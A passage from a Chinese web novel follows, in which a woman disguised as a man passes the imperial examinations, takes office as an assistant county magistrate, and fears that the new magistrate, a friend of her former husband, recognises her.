她的上身,健壮、紧实有力,在阳光的勾勒下,肌肉线条分明,光影交错。 任谁瞧了,都会错认成男子的身躯。 可即便如此,光天化日,女子怎能赤着上身出门。 院子虽有围墙环绕,却四处透风,大门也只是虚掩着,随时可能有人推门而入。 她为何如此坦然,丝毫不怕被人瞧见? 若是不小心被闯入的男子看到,那该如何是好? 甄凌被这惊世骇俗的一幕震了许久,终于回过了神,忙俯身捡起地上的外袍,心急如焚地想冲出去为寻真披上。 就在这时,门口传来“笃笃”两声,有人在敲门! 甄凌脊背瞬间绷紧,死死盯着门口,额头和后背迅速渗出冷汗,手紧攥着外袍,指尖都掐进了肉里。 小巷里吹进一阵风,门便被吹开了。 “竞舟,你——” 纪慎立在门前,看见寻真,顿时一愣。 寻真却镇定自若,神色平淡地说:“你来了。” 纪慎手里拿着书,本有一问特来与寻真探讨,没料到撞见这场景。 他扬了扬手中的书:“是我想到一问,不得其解,便想着来与你探讨一番……你可是正在习武?我一会再来找你?” “没事,我刚练完,正打算去沐浴,你先去书房等我。” 寻真指了指书房,转身往回走,从甄凌手中扯出了外袍,套上,将呆住了的甄凌往里推:“等我一下。” 待跟纪慎讨论完,纪慎走后,寻真回去,甄凌坐在榻上,默默垂泪。 “这是怎了?”寻真捧起甄凌的脸,见她泪眼汪汪的,“怎还哭鼻子了!” 寻真当然知道自己这行为有多惊世骇俗。 的确太挑战古人的三观了。 甄凌抽抽噎噎:“……怎能这样?” “……你方才怎都不避,都被那姓纪的瞧见了身——”【魔蝎小说 mo xie xs .c om】 110-120 第111章 第111章“莫非?” 寻真打断甄凌的话,只问:“你可见过男子袒胸露乳?” 甄凌自然是见过的,市井中,那些屠户、工匠常常光着膀子,毫无顾忌。即便是在宴饮游乐这般场合,也不乏袒胸露怀、放浪形骸的文人雅士。 甄凌嗫嚅道:“……我们女子,怎能与男子相比?” 寻真:“怎就不能比?大家都是一样的,只不过我们的形状是隆起的,便就见不得人了?” 甄凌眉头紧蹙,欲言又止,最终只憋出一句:“……真不知你这些稀奇古怪的念头是从哪儿冒出来的!” 寻真正色道:“如此一来,搜身不必怕了。” “哦对了,除了这个,我还准备了一物。” 寻真闭关时研究的成果。她找到了一种材料,能仿人体组织,由于没有其他参照,便照着谢漼的尺寸,为自己捏了一个。科考时,将这物粘在身上。 这样,就算被要求脱光衣服检查,也不怕了。 寻真大致描述了一番,甄凌听得目瞪口呆,嘴巴张得老大,半晌回不过神来。寻真见她那副三观被彻底震碎的模样,便打消了把“杰作”拿出来展示的念头。 甄凌思来想去,终究还是接受不了, 眼眶一红,又抹起了眼泪。 “哎呀,别哭别哭……”寻真拍了拍自己的胸脯,“哥的胸肌借你靠。” 甄凌哭得更凶了。 一切准备就绪,寻真全身心投入到考前冲刺中。 毕竟上辈子参加的大大小小的考试都数不清了,对她而言,心态放平最关键。 寻真给自己定下目标,只考这一次,若不中,就算了,老老实实地过自己的咸鱼日子。若中了,就按计划谋个小官,每月领着俸禄,有事可做,日子也不至于太无聊。 虽这么计划,临到考试,她还是难免有些紧张。 县试第一场在二月初,一共考五场,每场考一天,当天交卷,早入晚出。 搜身环节并没有寻真想象中那般严苛,差役只是隔着衣服检查,像衣服的领口、袖口、衣角、裤腿这些容易藏纸条的地方,都会仔细查看,还会检查考生携带的考篮,看看砚台、墨盒上是否写有小字。考场上还真有一个,因夹带小纸条被当场抓住,然后被拖了出去。 寻真撩起衣摆,那差役的手触到她腿间时,一顿,随后抬起头,用一种极为怪异的眼神打量了她一番。 寻真一边往考场里走,一边琢磨那眼神的含义。 难道是太大了,让这男的自惭形秽了? 考第一场时,寻真拿到题纸,看到其中一题,瞬间愣住了。 是谢漼给她三问中的第二问。 寻真陷入回忆,笔尖蘸了墨,迟迟没有落下。 谁能想到,当初自己连这问题的意思都一知半解,如今却已坐在县试的考场,要走跟谢漼走过的一样的路了。 谢漼…… 他现在,还好吗。 寻真垂下眼,目光落在眼前的卷上,笔尖落下,留下一列列流畅的字迹。 县试、府试、院试分别在二月、四月、六月举行,寻真一路过关斩将,每场名次都稳居前五。顺利拿到了乡试的通行证——红案,如今她,已是一名秀才了。 话说回来,袁锦城在会试中被黜落,回来后,约了寻真和纪慎见面。瞧他那模样,像是受了极大打击,整个人萎靡不振,没了以前的意气。袁锦城决定苦读两年再考。夫子当时也说了,让他们三人下场,原是为了让他们历练历练,开开眼界,一次便能高中的,少之又少。考过一次后,他们便能清楚自身深浅。 乡试前,寻真特意把纪慎叫到家中,将自己这段时间苦心钻研整理的重点资料,还有自拟题拿了出来,给他看。 纪慎接过那几页纸,内容依重点级别细致划分标记。不禁微微一怔,随即全神贯注地研读起来。良久,他抬起头,眼中满是震撼。 “竞舟,这些全是你一人整理编写的?” 寻真点头:“我向夫子讨来了近十年的乡试题,发现里头藏着不少出题的规律与门道。” “比如这部分,出现几率在五成以上,定是重点,得着重留意。” “而这些范围,几乎从未出现过,便是不太重要的内容,不必花费过多精力。” “还有这二十几题,我照着以前的题拟的,只有些答案,我拿不准,便叫你过来,一同探讨。” 纪慎沉默许久,才道:“莫非竞舟每次应试前,都会这般精心准备?” 在寻常读书人的观念中,这般做法,简直像是投机取巧。甚至夫子都是这般教诲的:将圣贤经典熟读成诵、领悟透彻,使其内化于心,无论科考题如何变化,皆能从容应对。 而寻真的方法,却与这传统理念大相径庭。 寻真点头,研究历年真题,梳理重点、归纳规律,刷模拟题,这些都是考试前再平常不过的事儿了。 但在这里,好像没什么人会这么干。有些人还会觉得这种行为是对圣贤之学的亵渎。 不知道纪慎是什么想法,寻真便问:“你会排斥吗?若你不想跟我一起讨论这些,也无事的。” 纪慎将那叠资料推了回去,只道:“这些皆是竞舟费尽心思整理所得,我怎可无故取之,这岂不是形同窃取?” 寻真抽出模拟题,给他:“那你看看这些题,好些答案我都拿不准。” 这回纪慎未推辞,与寻真讨论了一下午。回去后,他又反复思索多日,写下答案,再来与寻真交流。 很快到了乡试之日。 寻真看到题的那一刻,眼睛都瞪大了,简直不敢相信自己看到了什么。 考的全会,押的全中! 莫非她真的有考试之神的光环? 考完,纪慎第一时间寻到寻真,弯腰,深施一礼,眼中泪光闪烁。 寻真笑道:“看来,廷秀这回是妥了?” 纪慎请寻真去酒楼吃了一顿大餐。一月后放榜,贡院门口人头攒动,很是热闹。前头的人凑近榜单,手指点着,口中念念有词,仔细辨认着名字,站在后头的,纷纷踮起脚尖,伸长了脖子看。 中了的,喜形于色,奔走相告。落第的,则黯然神伤,垂头丧气。贡院门口,人生百态,有人欢喜有人忧。 寻真本想着等用过午饭再去看榜,却在睡梦中被拍醒。 甄凌:“快起来!” 寻真还没清醒,看见甄凌满脸喜色,便问:“有什么好事啊?” 甄凌:“哥哥不妨猜猜,你这回考了第几?” 寻真:“你去看过榜了?” 甄凌:“今晨,那姓纪的来找你,寻你一道去贡院,我想着让你多睡会儿,便先随他去看了。” 如今的甄凌,已经彻底接受寻真参加科考这事儿了。每次考前,比寻真还紧张,又是忙着给寻真准备带进考场的干粮,又是仔细清点笔墨文具,生怕有什么差错。 如今得知她的名次,更是与有荣焉,别提多骄傲了,脸上都放着光。 甄凌拉着寻真的胳膊,连珠炮似的说:“快猜,快猜呀!猜猜你这回考得如何!” 寻真见她这么高兴,随口一说:“莫不是第一?” 不料,甄凌重重地点头,激动道:“中了解元!” 寻真有种做梦的感觉,之前的县试、府试、院试,一次都没得第一,竟然在乡试拿了。 这么说来,她现在是举人了? 寻真后知后觉地开心起来,翻身下床,搂住甄凌的肩:“走!哥带你下馆子去!” 甄凌拉住她,望向外面:“今日怕是出不了门了。” 屋外喧闹嘈杂,原以为是邻居家的动静,往窗外一看,门口围满了人。 原来是寻真中解元的消息传开,左邻右舍纷纷前来道贺,还有官员送来贺礼。 甄凌临时买了喜糖、糕点,用来招待前来祝贺之人。 赵崇立听闻喜讯,下午便来了,一同前来的还有许多青麓书院的同窗。 寻真家中一连热闹了好几日。 半月后,家中才渐渐恢复清净,寻真和甄凌开始着手准备前往京都的行囊。通常,为了提前适应环境,举人们都会早早规划行程,赶赴京都。 寻真未料到,再次去京都,竟是在这样的情形之下。 临行前夕,甄凌面露忧虑:“……这次去京都,若是被那家的人瞧见了……要不,我 还是不与你一同去了……” 寻真:“这世上相像的人那么多,不会那么容易被认出,再说了,都过去三年多了,我们又无亲无故,还有谁会记得?” 甄凌瞅瞅她,没有说话。 寻真:“到京都后,你出门时戴上面纱就成,至于我,就更不用担心了,你瞧瞧我,如今这模样,还与从前一样吗?” 甄凌注视着寻真,皮肤没那么白了,身子也壮了,乍一眼看去,活脱脱就是个男子模样。不过这对眼,倒一如既往,从未变过。也只有最熟悉她的人才能认出了。 十月底,寻真、甄凌与纪慎同行,赴京赶考。 进入城门的那一刻,寻真心中涌起一股复杂的情绪。 三人暂且在客栈住下,再慢慢找宅子。会试要到明年才举行,即便考中,也不会马上授官,而是要去吏部参加铨选。当然,也有例外,若进士才华极为出众,得到圣上的赏识,便能即刻被授予官职。比如谢漼,就算一个。 因此,寻真计划先租半年的房子,若考中了,再续租,等待吏部栓选。若落榜,便直接退房回去。 京中汇聚了众多仕子,寻真所住的客栈里便有不少赴京赶考的举人。仕子们时常聚在一起谈学论道,偶尔也会闲聊一些京都的坊间八卦,寻真总会凑上前去,听上一耳朵。 一日,寻真听到一个熟悉的名字。 第112章 第112章“游街” “……不过,这二位倒也相配。先前所配皆非良缘,如今却是门当户对,正合适不过。” “方兄,方兄……”寻真挤了进去,好奇问道,“你方才讲得那两位是谁?” 寻真是苏州府的解元,这几日,仕子们常找她论学,几次交流下来,彼此便都熟络了。 那人道:“一位是王家的嫡次孙女,另一位嘛,甄兄你想必也有所耳闻,正是谢家五郎,如今的司业大人。” 信息过于密集了,寻真有些消化不过来。 王家嫡次孙女?怎么听着这么耳熟? 见寻真一脸茫然,那人惊道:“甄兄莫非连谢家五郎都不知?……也是,甄兄刚到京都不久,不了解京中的这些事儿,也正常。” 那人便给寻真科普起了谢漼的传奇升官路,末了还长叹一声:“那谢漼与我年纪相仿,如今都已着绯袍了,哎,还不知我这回能不能中呢……” 原来谢漼已经当上国子司业了。 寻真正感慨着,便听见一人又道:“我可听说,当初谢漼听闻他那小妾没了,当场吐血三升,险些就随她去了。这些年一直独自抚养着他那宠妾的独子,都没传出要续弦的风声,你这消息,怕是有误吧?” “有人都瞧见了……王谢两家最近往来频繁。王家除了那位小姐,哪还有适龄的姑娘?错不了……” 吐血三升……? 应该是谣传吧。 寻真便问:“他那小妾是怎么回事?” 那人讲道,谢漼归来后,得知妾室死讯,当即就休了正室,想必就是这正室下的黑手,那毒妇回了娘家便疯了,被吕家关了起来。 谢家那段时间发生不少事,老夫人中风,大房嫡子又突然跑去投军,大夫人坐马车去追,谁知道路上车坏了,把腿给摔断了。大伙儿都说,谢家定是犯了邪,不然怎会祸事一桩接着一桩。后来谢家请了道士驱邪,做了好几场法事,才恢复了安宁。 寻真心想,所以当初害自己的人是吕氏? 也对,谢家除了谢漼他大老婆,也没人这么恨她了。 算了,这些事都跟她没关系了。 谢漼要再娶……也随他吧。 寻真正要退出八卦圈,却觉手臂一紧,被人拽住。这人讲起八卦来,便来了精神,双目炯炯:“甄兄连谢五郎都不识,那定也不知这王家小姐了?” 寻真便顺着他的话问:“……这王家小姐又是何来历?” 总觉得这名号在哪儿听过。 “这王家小姐也有一段奇事……” 那人便讲,那王家小姐,一日外出,偶然得见一范姓男子。这人虽是个小官,却生得一表人才,王家小姐遂不顾门第之差,委身下嫁。可婚后生活并不如意,生下一子后,王家小姐便闹着要和离。不仅要和离,还要求将孩子带回娘家抚养,那姓范的竟也同意了!当时,京中议论纷纷,大伙儿都猜,这范岂定是做了什么亏心事,不然怎连儿子都不要了! 那人讲完之后,便叹:“要我说,这婚配之事,就得门当户对。你看看,这一个两个的,都没什么好结果。” 几日后,寻真和甄凌两人在附近找到了合适的房子,便从客栈搬了出来。纪慎也一起,租在了寻真隔壁。 一日,甄凌从门外跑进来,气喘吁吁,一进屋就赶忙关紧门窗,压低声音,神色紧张地对寻真说:“我瞧见月兰了!” 自两人离开京都,偶尔也会聊起月兰。那时甄凌还担心,谢漼会因寻真的“死”迁怒月兰,寻真则安慰她,以她对谢漼的了解,他不会怪罪无辜之人。 寻真问:“月兰她现在怎么样?……她看见你了吗?” 甄凌摇了摇头,道:“我带着面纱呢!一看见月兰,可吓坏了,赶紧扭过头去,没让她瞅见。不过,瞧着月兰如今似已不在谢府当差了……” 寻真:“你怎看出来的?” 甄凌:“我听旁人唤她东家呢。” 寻真:“……咦?” 甄凌:“我走远后,又回头瞧了瞧,见月兰进了一家画坊……我猜着,那画坊多半是她开的。只是如今咱们这身份,恐怕没法与她相见了。” 寻真叹了口气,道:“这倒是适合她,她在画上有天赋,如今脱离谢府,有了自己的营生,挺好的。” 从那之后,两人便尽量减少外出。毕竟,她们在这里,是已死之人,若是被月兰看见,或许还能替她们隐瞒,可若是被谢家的哪个家仆瞧见,起了疑心,再报告给上头,进而顺藤摸瓜查到线索,可就麻烦了。毕竟,她们入籍的方式,要是真查起来,破绽可不少。 更何况,寻真还以女子身份参加科考,就更不能被发现。 很快,会试的日子到了。 寻真原本还在琢磨,要不要隐藏实力。毕竟自她得了解元后,受到的关注就多了,要是太过招摇,暴露身份的风险就更大了,更何况谢漼还在京都。 但当看到题的那一刻,发现是她想多了。 这次的难度远超乡试,押的题基本都没中。要是隐藏实力,上榜都无望。 第三场考完,寻真走出考场,在熙熙攘攘的人群里,似乎瞧见了一个熟悉的身影。她晃了晃脑袋,还以为自己看错。 定睛再看,竟然真的是承安! 承安不在谢漼身边干了? 承安朝寻真这方向看来,两人视线即将交汇时,寻真迅速移开目光,装作若无其事,步速不变地向前走。 不远处的承安也晃了晃脑袋,再去寻找那个熟悉的身影时,却怎么也找不到了。这里都是男子,大概只是长得像的人罢了,承安这么一想,便把这事抛到了脑后。 看到承安之后,寻真又听说了一事,吓得她差点想不等会试放榜,就直接逃回去了。 这件事是纪慎告诉她的。 近日京中严查黑市,据说有朝中官员与私盐贩子暗中勾连,谋取暴利。除了这私盐勾当,黑市中,尽是些见不得光的营生。比如非法变更户籍,逃避关税,偷运货物入境,非法借贷等等。 寻真为此忧心忡忡了好几天,可转念一想,朝廷主要查的应该是私盐,至于其他违规操作,黑市干的坏事多了去了,区区一个假过所,应该不至于被盯上。 一时间,朝廷上下风声鹤唳。 黑市一案牵连甚广,众多官员纷纷落马,朝堂局势风云变幻。 寻真一边留意着外界的消息,一边等着会试放榜。 终于等到放榜日。 寻真与纪慎皆榜上有名,名次居于中上。 纪慎喜极而泣,寻真却因为黑市的事,根本无心 庆祝,莫名有种大祸临头的危机感,总觉得再在京都待下去,保不准就要被这风波殃及。 殿试之期至,因贡士众多,皇帝不会每个都问,而是让众贡士以策论形式书面作答,然后官员们根据答卷筛选,皇帝再从里头挑出几个特别拔尖的亲自策问。寻真没在皇帝要亲自问的那拨人里。 皇帝亲自裁定最终名次。 寻真与纪慎皆荣登二甲,寻真列二十七名,纪慎居三十八名。 之后就忙起来了,又要参加闻喜宴,还得游街。 寻真无心与他人结交,闻喜宴上,只静坐在自己席位,偶尔与纪慎聊几句,未与旁人攀谈。到了游街那天,场面更是热闹非凡,盛况空前。状元身着朱袍,骑着高头大马,在队伍最前列,朱雀大街两旁挤满了围观的百姓,人声鼎沸。街边酒楼之上,闺阁千金们盛装打扮,纷纷向下抛着香帕。 寻真混在后面,打量新科状元。 这届状元年约四十,有些发福,挺着个大肚子。那身状元红袍穿在他身上,谈不上有什么美感,顶多只能说看着富态。 寻真听着耳畔锣鼓喧天,百姓的欢呼赞叹,不免好奇,谢漼中状元游街时会是什么模样,他十七岁就中了,正是最鲜嫩的年纪,穿着那身红袍,一定很好看吧。 想起来,她见过一次谢漼穿红衣,的确好看。 中榜后,寻真续租了房子,开始等待十月吏部的铨选。 在此期间,寻真和甄凌二人依旧深居简出,窝在家中。直到寻真通过了“博学鸿词”科考试,她又主动向吏部提交申请,表达了自己想要外任的意愿。由于京官竞争激烈,而地方官职空缺较多,于是寻真如愿被任命为苏州下辖昆山县的县丞。 寻真只需等待吏部发放正式的文书,便可出发赴任。 纪慎打算留在京中任职,听闻寻真主动请求外任,还劝了她,说她这一去,往后晋升可就难如登天了,弄不好一辈子都只是个微末小官。 寻真便道:“我早就同你讲过,我并无远大抱负,即便一辈子只做个小官,也没什么不好。” 两人从苏州一路相伴至京都,如今不得不面临分别。 天下无不散的宴席。 人生聚散,本是常情。 纪慎沉默许久,终于鼓起勇气,起身向寻真郑重地施了一礼,道:“这话本是想等我谋得一官半职之后,再向竞舟你说,今竞舟既将远行,只能提前,斗胆一问,我欲求娶你家妹妹,不知竞舟可否俯允?” 寻真瞬间愣住了,一时不知该如何回答。 纪慎:“竞舟切勿误会,我与你家妹妹往来,皆守正行端,从无逾礼之举。我尚未婚配,又与竞舟你有同窗之谊,如今又一同高中,若你我两家缔结姻亲,便是亲上加亲,若竞舟应允,我即刻修书寄与父母,待我谋得官职,便择良辰吉日,正式登门提亲。” 听他这意思…… 寻真问:“你喜欢我妹妹吗?” 第113章 第113章“上任” 寻真见他答不上来,便又追问:“所以你只是觉得我妹妹条件合适,才起了求娶的念头?” 得到纪慎肯定的答复后,寻真说:“我去问问我妹妹的意思。” 客观来讲,纪慎这人还不错,家庭关系也简单。寻真与纪慎的母亲接触过,她为人和善,瞧着不会苛待媳妇。从各方面看,纪慎算得上是个不错的结婚对象。 寻真那一套观念注定不适用这个朝代的人。甄凌又是个土生土长的古人,自然会有想要成家的想法。听了纪慎的话后,寻真便把这事儿放在了心上。 甄凌的终身大事,她这个当“哥哥”的,得开始操心起来了。 寻真便去问甄凌。 甄凌听后惊讶了好一会儿,脸上也并无羞涩的表情。 寻真:“你若对他无意,我去推了便是。” 甄凌确实无意,寻真便问起她的择偶标准,甄凌却道:“若我嫁出去了,哥哥可怎么办,岂不是要孤零零一个人了?” 原来她是担心这个。 寻真:“我都这么大个人了,你还怕我自己一个人过不好啊?” 甄凌:“而且我从小就跟着你了,早已习惯了与你在一起的日子,若到了别人家里生活……想想都觉得难受。” 寻真:“……这个简单!” 甄凌:“……嗯?” 寻真:“等我们到了昆山县,我便为你招赘一个,如何?当然,一切还是要看你自己的意愿。” “若你想成婚,便找一个年轻、身体好,长得俊,主要还是得人品好的男子,有没有钱倒没关系,咱们养得起。” “若你不想成婚,也无妨,我们就一直这样在一起。你看如何?” 甄凌思索一会儿,觉得这个办法可行,点了点头:“那就等去了昆山县再说吧。” 两人商议好,寻真便去回绝了纪慎。纪慎虽有些遗憾,也没强求。 寻真临走前,与纪慎在附近的酒馆最后聚了一次,就此告别。 出发那天,秋风瑟瑟,寒意侵人。 寻真和甄凌再度启程。秋天的京都格外萧索,二人途经偃师一带,又路过荒郊野径上的那家客栈,这次并未停留。 寻真挑开布帘,往外望去。 黄沙漫卷,枯叶纷飞,一座老旧客栈孑然矗立在驿道上。 不禁回想起四年前,与谢漼在这里相逢。 那时,她并非没有与谢漼相认的念头。 那一夜,她睡得昏昏沉沉,时不时醒来,好几次都差点忍不住,想去找他。 如今听闻他即将再婚的消息,不知是真是假,寻真心里虽有些隐隐的难受,却也能够接受了。 时间可真是治愈一切的良药啊。 上任时间在十一月中旬,两人并不着急赶路,一路慢悠悠地去苏州,一边赏沿途风景,一边游玩。 至十一月初,抵达苏州城,两人去十全街的房子暂时落脚。 房子里有许多东西搬不走,庭院中栽的果树,才初初长成,还未结果。她们在这里住了两年多,早已生出感情。于是,两人找到宅主人,一番商谈后,最终以一百五十两银子将房子买了下来。 加上滩头村的小屋子,寻真在这里也算是拥有两套房产了。 收好房契,两人休息了两天,便启程前往昆山县。 两日后抵达。 按照本朝制度,佐官四年一迁,也就是说,寻真至少要在这儿任职四年。正如纪慎先前所忧虑的那样,实际上,县丞的晋升空间极为有限,要是朝中无人,没有关系人脉,鲜少有升迁机会,除非在任内政绩格外突出。 当然,寻真对仕途并没有太大的追求,能吃上官家饭,有一份稳定的工作,她就已经很满足了。 所以,她也有在此长久定居的打算。 两人便决定直接买一栋房子。 从谢府拿的金子,足够她们过上富足的生活。四年多来,两人只在衣食住行这些基本生活开销上花费,并没有用掉多少。如今寻真又有了俸禄,便更无需节省。 两人挑选了五日,最终选定了一处临河小院。 小院位置极佳,不远处便是街市。河边景色宜人,偶尔还有几艘小船悠悠划过。 院内空间开阔,两人忙活了好些天,在院中种花种树。寻真还造了一把躺椅,放在院中,午后阳光好的日子,她便窝在躺椅上看书。偶尔与甄凌一同去城中的茶楼看戏听曲,傍晚在街市买点小吃,然后沿着河边散步回家。 这日子别提有多舒服了。 上任前,寻真特意去城中的马场学骑马。大致掌握骑术后,她买了一匹温顺的母马,养在后院,打算日后每日骑马去衙门当值。 到了上任日,寻真寅时三刻就起了。 这时天刚蒙蒙亮,骑慢马到县衙大概需要二十分钟,寻真估算了一下时间,以后每天还能多睡十分钟。 寻真与县令、主簿、县尉等一众同事见了面。 县太爷年纪五十岁上下,留着一把胡须,头发半白,说起话来不紧不慢,看上去和蔼可亲,很好相处。 由于上一任县丞离任已有半年左右,这位置一直空着,县丞的工作便分摊给了县令和主簿。 上午,县太爷和主簿便与寻真交接工作。 县丞相当于县令的副手,主要工作内容包括管理文书档案,比如上级下达的政令、案件卷宗,还有管理县内的仓库,以及处理户籍和司法事务等等。 活又细又杂。 不过好在,寻真有自己独立的办公室,倒也自在。 办公时间相当漫长,从早上点卯开始,一直持续到傍晚。中午有一个半时辰的休息时间。 寻真第一天上班感觉还不错,毕竟上辈子也没上过班,还挺新鲜的。 寻真顺便打听了一下放假制度,跟谢漼一样,五日一休沐,再加上各种节假日,放假天数不少。 傍晚,寻真做完当日的活,便骑马回去了。 途中经过街市,买了个酥饼,然后下了马,一边牵着马,一边吃着饼,沿着河慢慢往家走。脑中计划着怎么把办公室改造一下。 一到家,就有热气腾腾的饭菜等着她。 甄凌:“今日可顺利?那知县大人,还有衙门里一同当差的,可还容易相处?” 寻真把捂在怀中的饼递给她,道:“县太爷看着慈眉善目,一看就知道是个好人,其他同僚也都很配合我做事,没有为难我。” “第一日上值,一切都很顺利。” 甄凌展开笑颜:“那便好。” 五天过去,寻真已完全上手了工作。休沐日,她与甄凌一同去市集买了不少物件,大件的便让人直接送到县衙。 寻真将办公室改造了一番。 在角落放了一张单人榻,方便午睡和偶尔偷懒休息。桌上摆了几盆绿植和鲜花。天气冷了,她还买了个脚炉,放在桌下,一到办公室,就直接脱了鞋踩在上面。 当然不是天天都呆在办公室里,也需要经常外出执行公务。 比如参与案件的审理,寻真需要勘察现场、检验物证、询问证人,还要到乡下实地核查田亩数量和农作物生长情况,以及定期领着衙役在全城进行巡逻……总的来说,工作内容还是很多的。 寻真就这样日复一日地工作着,逐渐适应了在昆山县的生活。 新年,依旧是寻真和甄凌两个人过。 春节假期结束后,寻真穿着一身新衣,卡着点到县衙点卯。 点卯就跟现代的打卡差不多。 寅宾馆设有签到簿,官员们到达后,需在卯簿上亲自签到,写下自己的官职、姓名,之后由专门负责考勤的吏员进行点名。 寻真踩着点到了,签完名,从怀里拿出一个热乎乎的饼,到一边坐下,边吃边等着点名。一旁的县尉拍了拍她,倾身过来,道:“欸,甄善美。” 县尉与她年纪相仿,平时偶尔会聊上几句。寻真一看他这眼神,就知道他又要讲八卦了,便应道:“嗯?” 县尉:“县太爷任期快到了,二月便要换人了!” 寻真:“……啊?” 寻真顿时觉得手里的饼不香了,她这什么运气? 工作两个月都不到,就要换顶头上司! 而且她还很喜欢现在的县太爷,平时从不为难她,工作上遇到难处或者卡进度时,都会出手帮忙。 这是神仙领导。 县尉见寻真这副表情,叹了口气,拍了拍她的肩膀说:“心里有个底儿吧……” 若碰上个难伺候的,冲着晋升做政绩来,他们这些做人手下的,大概率功劳没份,活儿倒要干一堆。 寻真:“你可知那人是谁?” 县尉摇摇头:“听说可年轻了,和咱们岁数差不多,只是不知是真有能耐,还是光有个名头。哎,就怕遇上那厉害的主儿,你我的日子可就不好过喽。” 果然,点卯结束后,县太爷在二堂召开会议,宣布了自己即将离任的消息,说二月初就会有人来接任。 县太爷还顺带夸了一番新任知县,说他才华出众,声名远扬,定能带领大家把昆山县治理得更加繁荣兴旺。 大伙儿附和了几句,脸上明显都带着不舍。毕竟县太爷确实是个不可多得的好上司。 而且县太爷这话听着多少有点客套的意思,要是真来了个难伺候的新领导,大家的日子可就不好过了,所以大伙儿心里都隐隐有些犯愁。 散会后,寻真拉住县尉问:“方才县太爷说的那人,你对他还有什么了解吗?” 提前了解一下新领导,做好心理准备。 县尉念了念那名字:“总觉得这名字好像在哪儿听过……我去打听听。” 第114章 第114章“面熟” 几日后,县尉敲了敲县丞署的窗,“甄善美,甄善美!” 寻真正在吃盒饭:“……嗯?” 县尉:“我进来了?” 寻真应了声,县尉如一阵风般蹿了进来,压低声音道:“那个谁,潘竞,我可算想起来了!” “几年前,他在京都与人起了冲突,对方可是极有权势的人物。潘竞下手没个轻重,差点把人给废了。潘家为了保他,只能将他打发到边境去做官。如今想来是任期满了,潘家又设法把他弄到咱们这县里头来了。” 寻真在这里呆了九年了,对有名的世家也略知一二。潘家也是其中之一。 寻真:“潘家都惹不起的人家……” 县尉快步走到门口,警惕地望了望外面,见四下无人,才又折回,神秘兮兮道:“是郡王世子!……我还听人说,潘竞是为了个女子才与世子爷大打出手的。” 竟还有这风流韵事,寻真顿时来了兴趣,坐直身子,道:“你细说来。” 县尉清了清嗓子,道:“这潘竞早有婚约,未婚妻是杨氏女。后来也不知怎的,那杨氏女竟单方面退了婚,转投世子怀抱。潘竞对那杨氏女用情至深,遭此横刀夺爱,怎能咽下这口气?杨氏女与世子成婚后,潘竞始终难以忘怀,一直未曾婚配。直到有一日,他在酒楼瞧见世子左拥右抱,花天酒地,顿时怒火中烧,当场就与世子爷动起手来……” 县尉讲完,不禁感慨:“倒也是个痴情种……” 寻真:“既然他会为前未婚妻出头,想必是个性情中人。” 县尉:“虽是世家子弟,却也是在边境吃了五年的苦,想来行事作风会收敛些,往后与他打交道,应不会太难。” 毕竟出身世家,即便生活品质有所下降,也不会太过寒酸。 新任县令抵达时,县衙上下全体出动迎接。 只见一辆马车缓缓驶来,那马车高大宽敞,车身装饰简洁却不失精致,马车刚一停稳,两名小厮便快步上前,一个麻利地掀开帘子,一个摆好矮凳,伺候主子下车。 马车内,出来一位锦袍男子。 他朗目疏眉,玉面朱唇,尽管肤色被边境的风沙磨砺得有些泛黄,可眉眼间那股与生俱来的华贵之气,却丝毫不减。 潘竞下了马车,目光径直落在人群中央的县太爷身上,上前行礼。县太爷忙也回礼,笑容满面道:“子尚,路途遥远,一路舟车劳顿,你可受累了。” 潘竞:“不过寻常行程,何谈辛苦。” 潘竞与县太爷并肩往县衙内走去。县衙属吏、昆山县乡绅们早已在大堂内列队等候,迎接这位新来的县太爷。 寻真望着潘竞的背影,莫名觉得这人长得面熟。 好像在哪儿见过。 还有方才县太爷唤他的字。 也很耳熟。 寻真一边在脑海中搜刮着记忆,一边随着众人往大堂内走去。 潘竞与县太爷寒暄了几句后,县太爷便开始逐一介绍县衙的属官。 县丞作为县衙的二把手,官职仅次于县令,自然第一个被介绍。 县太爷笑着向潘竞引荐寻真:“子尚,这便是竞舟。说来也巧,他与你年齿相当,去年高中进士,才刚来不久。竞舟才思敏捷,行事勤勉,做事尽心尽责,是咱们县衙的得力干将。” 方才只是匆匆一瞥,潘竞并未留意众人的容貌。 此刻经县太爷介绍,他这才将目光投向寻真。这一看,潘竞心中猛 地一震,只觉眼前这人的面容实在眼熟。 可一时之间,却怎么也想不起来究竟在哪里见过。 潘竞盯着寻真打量起来。 寻真察觉到潘竞的目光,心中有些疑惑,微笑起来,说了一番场面话:“县尊此次赴任,实乃我县之幸。卑职定当竭尽全力,辅佐县尊,为县尊分忧解难,共同治理好县中事务。” 潘竞:“有劳县丞,我初来此地,对许多事务还不甚了解,往后还需你费心,多多帮扶。” 接着,县太爷继续介绍其他属官。潘竞却在一直在想这县丞的容貌,听得有些心不在焉。 待众人介绍完毕,潘竞的目光再次扫过寻真,见人垂首敛目,似是在出神。 潘竞一向自诩记性颇佳,但凡觉得眼熟之人,必定是有过交集。 可眼前之人,他却怎么也想不起究竟是何时何地见过。 县太爷交代了几句今日的事务,众人便纷纷退下,随后带着潘竞来到书房,拿出一叠早备好的文件,向潘竞交接县衙事务。 县太爷正讲着,潘竞突然一拍大腿,啪的一声,把县太爷吓了一跳。 潘竞心道,那容貌,不正是缮之那小妾嘛! 瞅着那身形也有些像,不过似是比那小妾要再壮一些。 这世上怎会有如此相像的两个人? 县太爷:“子尚,子尚……” 潘竞回神,笑笑:“您说。” 县太爷走后,潘竞去架阁库,吩咐书吏找出相关的档案文书。 潘竞翻到其中一页,凝目。 甄善美,字竞舟,泗州虹县青阳镇滩头村人,进士出身,于天启二十年恩科高中。 潘竞又想起今日那甄善美见到自己时的神情,分明是一副完全不认识的模样。 应该只是长得像罢了。 一日过去,众人对这位新县令的行事风格,心中都有了数。县太爷之前说他有本事,看来所言非虚。仅仅一日,就将县太爷交办的事务梳理清楚,县衙中的属吏,他也都记住了名字。只是有一点,他的生活着实讲究。到任后,往县衙搬了许多东西,像屏风、香炉这些。 新县令身上总是熏着香,进进出出都有两个小厮伺候,和县衙里那群糙汉子相比,完全不一样。 寻真心想,大概世家子弟都这样吧。 至于熏香,应该是标配。 晚上,寻真做了一个梦,梦中出现了新任县令的脸,还有谢漼。 寻真从梦中惊醒,冷汗浸湿了后背。 寻真想起来了。 潘竞是谢漼的好友。 那日,寻真与谢漼出游,曾与潘竞有过一面之缘。 怪不得,今日白天潘竞一直盯着自己看,原来他也有印象! 寻真顿时慌乱起来,起身下地,倒了杯水,一饮而尽。 怎么办? 